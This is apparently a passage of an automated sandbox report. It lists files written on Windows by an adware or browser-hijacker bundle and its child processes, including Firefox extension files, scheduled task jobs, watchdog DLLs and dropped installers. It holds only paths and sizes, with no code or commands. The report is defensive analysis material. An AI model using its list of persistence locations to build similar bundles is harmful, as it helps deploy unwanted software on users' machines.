C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\locale\zh-CN\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\content\include\tools\popup_image_helper.js (693 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\scrollbar.bmp (37 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Mozilla Firefox.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\content\include\speed_dial.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\locale\fr-CA\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\loading_light.png (139 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\locale\it\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\content\js\module\hotSearch.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\content\js\pack\xagainit.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\locale\fr-CH\locale.properties (2 bytes)

The process %original file name%.exe:3900 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe (8409 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\config.ini (110 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz255C.tmp (5756 bytes)

The process ProtectWindowsManager.exe:3332 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\WindowsMangerProtect\update\conf (5 bytes)

The process XTab_v4.0.exe:3324 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\XTab\web\img\googlelogo.png (7 bytes)
%Program Files% (x86)\XTab\web\js\jquery-1.11.0.min.js (4726 bytes)
%Program Files% (x86)\XTab\skin\btn.png (2 bytes)
%Program Files% (x86)\XTab\install.data (68 bytes)
%Program Files% (x86)\XTab\web\_locales\zh-CN\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\_locales\en-US\messages.json (3 bytes)
%Program Files% (x86)\XTab\HPNotify.exe (18027 bytes)
%Program Files% (x86)\XTab\conf (1606 bytes)
%Program Files% (x86)\XTab\web\img\loading.gif (5 bytes)
%Program Files% (x86)\XTab\BrowerWatchFF.dll (23 bytes)
%Program Files% (x86)\XTab\web\_locales\es-419\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\indexIE8.html (1816 bytes)
%Program Files% (x86)\XTab\web\js\library.js (4216 bytes)
%Program Files% (x86)\XTab\web\_locales\pt\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\img\arrow.png (259 bytes)
%Program Files% (x86)\XTab\web\ver.txt (5 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-BE\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\input_bk.png (2 bytes)
%Program Files% (x86)\XTab\web\_locales\pl\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\_locales\it-IT\messages.json (4 bytes)
%Program Files% (x86)\XTab\skin\conf_back.png (1623 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspF96C.tmp\System.dll (23 bytes)
%Program Files% (x86)\XTab\web\img\weather\0.png (1 bytes)
%Program Files% (x86)\XTab\skin\btn_apply.png (6 bytes)
%Program Files% (x86)\XTab\skin\conf.xml (8 bytes)
%Program Files% (x86)\XTab\CmdShell.exe (1681 bytes)
%Program Files% (x86)\XTab\web\img\icon128.png (9 bytes)
%Program Files% (x86)\XTab\web\indexIE.html (1 bytes)
%Program Files% (x86)\XTab\web\_locales\ru-MO\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\js\xagainit-ie8.js (3 bytes)
%Program Files% (x86)\XTab\skin\about_bk.png (1436 bytes)
%Program Files% (x86)\XTab\web\_locales\es-ES\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\main.xml (4 bytes)
%Program Files% (x86)\XTab\web\img\default_add_logo_hover.png (1 bytes)
%Program Files% (x86)\XTab\BrowserAction.dll (33992 bytes)
%Program Files% (x86)\XTab\skin\radio_2.png (3 bytes)
%Program Files% (x86)\XTab\msvcr110.dll (22156 bytes)
%Program Files% (x86)\XTab\searchProvider.xml (8 bytes)
%Program Files% (x86)\XTab\web\_locales\it-CH\messages.json (3 bytes)
%Program Files% (x86)\XTab\ProtectService.exe (5312 bytes)
%Program Files% (x86)\XTab\web\js\js.js (18 bytes)
%Program Files% (x86)\XTab\ffsearch_toolbar!1.0.0.1025.xpi (14 bytes)
%Program Files% (x86)\XTab\web\img\default_add_logo.png (1 bytes)
%Program Files% (x86)\XTab\skin\logo.png (5 bytes)
%Program Files% (x86)\XTab\web\js\xagainit2.0.js (3 bytes)
%Program Files% (x86)\XTab\web\js\xagainit.js (3 bytes)
%Program Files% (x86)\XTab\web\img\googlelogo2.png (1526 bytes)
%Program Files% (x86)\XTab\web\main.css (19 bytes)
%Program Files% (x86)\XTab\web\_locales\vi-VI\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\_locales\ru\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\img\icon48.png (3 bytes)
%Program Files% (x86)\XTab\skin\close.png (3 bytes)
%Program Files% (x86)\XTab\web\data.html (20 bytes)
%Program Files% (x86)\XTab\web\img\logo32.ico (4 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-CA\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\js\jquery.autocomplete.js (12 bytes)
%Program Files% (x86)\XTab\uninstall.exe (1343 bytes)
%Program Files% (x86)\XTab\skin\about.png (4 bytes)
%Program Files% (x86)\XTab\BrowerWatchCH.dll (23 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-FR\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\img\icon16.png (628 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-CH\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\settings.png (5 bytes)
%Program Files% (x86)\XTab\web\img\default_logo.png (5 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-LU\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\js\ga.js (1568 bytes)
%Program Files% (x86)\XTab\web\js\common.js (2 bytes)
%Program Files% (x86)\XTab\web\_locales\tr-TR\messages.json (4 bytes)
%Program Files% (x86)\XTab\SupTab.dll (6812 bytes)
%Program Files% (x86)\XTab\web\js\ie8.js (156 bytes)
%Program Files% (x86)\XTab\IeWatchDog.dll (20 bytes)
%Program Files% (x86)\XTab\web\_locales\pt-BR\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\img\google_trends.png (7 bytes)
%Program Files% (x86)\XTab\web\_locales\zh-TW\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\rigth_arrow.png (2 bytes)
%Program Files% (x86)\XTab\msvcp110.dll (17526 bytes)
%Program Files% (x86)\XTab\skin\radio_1.png (3 bytes)

The process Lexdja.exe:3672 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\App Lid\utils.exe (77250 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspEA31.tmp\136394 (4595 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskEA11.tmp (662199 bytes)
%Program Files% (x86)\App Lid\0e548b74-528b-4597-b8f2-4bc5002d68ce-4.exe (9147 bytes)
C:\Windows\Tasks\0e548b74-528b-4597-b8f2-4bc5002d68ce-5_user.job (74 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspEA31.tmp\StdUtils.dll (30 bytes)
%Program Files% (x86)\App Lid\0e548b74-528b-4597-b8f2-4bc5002d68ce-5.exe (7547 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\ipgeoapi_com[1].json (40 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspEA31.tmp\UserInfo.dll (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspEA31.tmp\0e548b74-528b-4597-b8f2-4bc5002d68ce-4.dll (47570 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspEA31.tmp\68684 (94391 bytes)
%Program Files% (x86)\App Lid\0e548b74-528b-4597-b8f2-4bc5002d68ce.xpi (2321 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspEA31.tmp\nsisos.dll (13 bytes)
%Program Files% (x86)\App Lid\Uninstall.exe (601 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspEA31.tmp\ExecDos.dll (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspEA31.tmp\md5dll.dll (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspEA31.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\installer.js (5 bytes)
C:\Windows\Tasks\0e548b74-528b-4597-b8f2-4bc5002d68ce-5.job (74 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspEA31.tmp (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspEA31.tmp\InstallerUtils2.dll (3730 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspEA31.tmp\InstallerUtils.dll (30484 bytes)

The process appshat.exe:1728 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsfE7D0.tmp\FacebookIsGod.dll (2555 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsfE7D0.tmp\Lexdja.exe (1676729 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\26517.bat (411 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsfE7D0.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsfE7D0.tmp\StdUtils.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsfE7D0.tmp\Iulos.tmp (396481 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\setup[1].exe_d (137814 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\setup[1].exe_e (137814 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\setup[1].exe_b (137814 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\setup[1].exe_c (137814 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\setup[1].exe_a (137814 bytes)

The process biclient.exe:2492 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\c6f349e09f7b3c4993073c407a485e5f[1].htm (26573 bytes)

The process biclient.exe:3852 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\eula-mystartsearch[1].htm (1871 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\dffadf6cea0603499f5ce29578e19940[1].htm (38382 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\VJ2KGQ4B.txt (288 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Internet Explorer\MSIMGSIZ.DAT (196 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\4T7T03FI.txt (550 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\eula-sourceapp[1].htm (4319 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\5UQ0AJ7G.txt (116 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\ga[1].js (25859 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\vlc_48[1].png (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.2-win32.exe (1482965 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.2-win32.exe.6 (173869 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.2-win32.exe.7 (173869 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.2-win32.exe.4 (173869 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.2-win32.exe.5 (173869 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.2-win32.exe.2 (173869 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.2-win32.exe.3 (173869 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.2-win32.exe.0 (173869 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.2-win32.exe.1 (173869 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\T4IVH6T1.txt (690 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\ZWGDHXPO.txt (690 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\eula-youtubeaccelerator[1].htm (2744 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\tokyoLightGrayStripesBG[1].jpg (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\tokyo_sprite_full[1].png (1276 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\eula[1].htm (1058 bytes)

The process biclient.exe:1020 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Internet Explorer\MSIMGSIZ.DAT (960 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe (23211 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\fc5ae9ef92544d4d9ad600d2a201e613[1].htm (23188 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.1 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.3 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.2 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\1D30.tmp (41797 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.0 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.7 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.6 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.5 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.4 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\1D30.tmp.2 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\1D30.tmp.3 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\1D30.tmp.0 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\1D30.tmp.1 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\1D30.tmp.6 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\1D30.tmp.7 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\1D30.tmp.4 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\1D30.tmp.5 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.7 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.6 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.5 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.4 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.3 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.2 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.1 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.0 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe (73037 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\ajax-bidl[1].htm (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe (21724 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.2 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.3 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.0 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.1 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.6 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.7 (60589 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.4 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.5 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\tokyo_sprite_full[2].png (2613 bytes)

The process setup.exe:1644 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\images\min.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\2.zip (21214 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\images\bk_shadow.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\2[1].zip (43727 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\images\code\code1.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\images\code\code2.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\images\checkbox_select.png (783 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\BaofengUpdate.exe (2461 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\tmp\wpm_v20.0.0.1714_0204.exe (16424 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\1.zip (36009 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\422.json (520 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\MessageBox.xml (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\images\code\Thumbs.db (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\conf (83 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\UninstallManager.exe (66088 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\images\code\code4.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\images\code\code6.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\1[1].zip (176873 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\images\scrollbar.bmp (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\lpd#4.3.0.xpi (6360 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\images\close.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\images\checkbox.png (545 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\BFVUpdateM.dll (3616 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\images\bg1.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\images\loading_light.png (139 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\images\checked.png (222 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\images\loading_bg.png (159 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\DataBase (26688 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\images\Thumbs.db (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\images\bg.png (5064 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\images\button1.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\tmp\422.db (240 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\tmp\STab_Down_6.0.6.8.exe (3616 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\uninstallDlg2.xml (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\ffsearch_toolbar!1.0.0.1025.xpi (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\images\unchecked.png (135 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\images\code (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\images\code\code3.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\images\code\code5.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\images (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\images\button.png (3 bytes)

The process wpm_v20.0.0.1714_0204.exe:3892 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\WindowsMangerProtect\ProtectWindowsManager.exe (3560 bytes)

The process 1D30.tmp:3428 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj27FA.tmp\NSISEncrypt.dll (3421 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj27FA.tmp\IpConfig.dll (4254 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ilg (304040 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj27FA.tmp (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj27FA.tmp\inetc.dll (44 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj27FA.tmp\nsExec.dll (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj27FA.tmp\UserInfo.dll (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SourceApp\SourceApp.mg.exe (7736 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SourceApp\lm (128 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SourceApp\tlg (41 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj27FA.tmp\ExecDos.dll (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SourceApp\mj (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj27FA.tmp\nsJSON.dll (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj27FA.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj27FA.tmp\WmiInspector.dll (3137 bytes)

The process 0e548b74-528b-4597-b8f2-4bc5002d68ce-4.exe:3268 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\221.js (419 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\234.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\288.js (557 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\354.js (5118 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\1.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\crossrider_statusbar.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\26fb4756a8c6f8d7a0d7b2cbda1d27a6.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\8989e2bfb89a34c2242556646faa7490.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\68a9600b26d21bf5af43c531b1cce08b.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\173959e08d33bab23e26f653370b9ae1.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\255.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\icon24.png (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button1.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\ed58eef825c0f1309f135b601d3dfbf2.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\72da845517394131bbe2b76b826ae652.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\b13ae2906e2d1276be1bdb7d0eef3913.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\177.js (816 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\install.rdf (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\263.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\72.js (1601 bytes)
